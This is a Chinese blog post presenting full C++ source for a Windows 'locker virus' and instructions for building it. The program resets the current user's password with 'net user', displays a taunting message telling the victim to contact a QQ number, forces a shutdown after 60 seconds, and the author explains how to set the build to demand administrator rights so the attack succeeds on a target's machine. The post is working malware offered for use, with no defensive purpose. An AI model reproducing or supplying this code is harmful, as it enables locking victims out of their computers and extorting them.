首页 C/C++修行正文

C++ 锁机病毒

欲儿 C/C++修行 2019-08-12 496 0

原理就是每次登陆windows用户的时候其实是有一个环节可以输入账号和密码的,而如果我把密码给你改了,不就相当于一个锁机了吗。。

#include <iostream>
#include <windows.h>
#include <string>
#pragma comment(lib,"Advapi32.lib")
using namespace std;
int main()
{
	char strBuffer[256] = { 0 };
	DWORD dwSize = 256;
	GetUserName(strBuffer, &dwSize);
	//cout << "当前用户名:" << strBuffer << endl;
	string a = strBuffer;
	//cout << a << endl;
	string cm = "net user " + a + " 123456";//123456是本次锁机的密码你可以自己改的
	const char * CMD = cm.c_str();
	system(CMD);
	MessageBox(GetForegroundWindow(), "享受你电脑的最后一分钟吧,密码错误的话请联系QQ:123456", "来自欲儿的善意提醒", 0);
	system("shutdown -s -t 60");//60是一分钟,你可以换成你需要的时间
	while (1);
	return 0;
}

但是值得注意的是,本程序虽然是锁机但是需要对方以管理员的方式运行,那么程序应该正确改为需要管理员权限




改法为 项目→属性→配置属性→链接器→清单文件→UAC执行级别 选中 requier Administratorimage.png

版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。

评论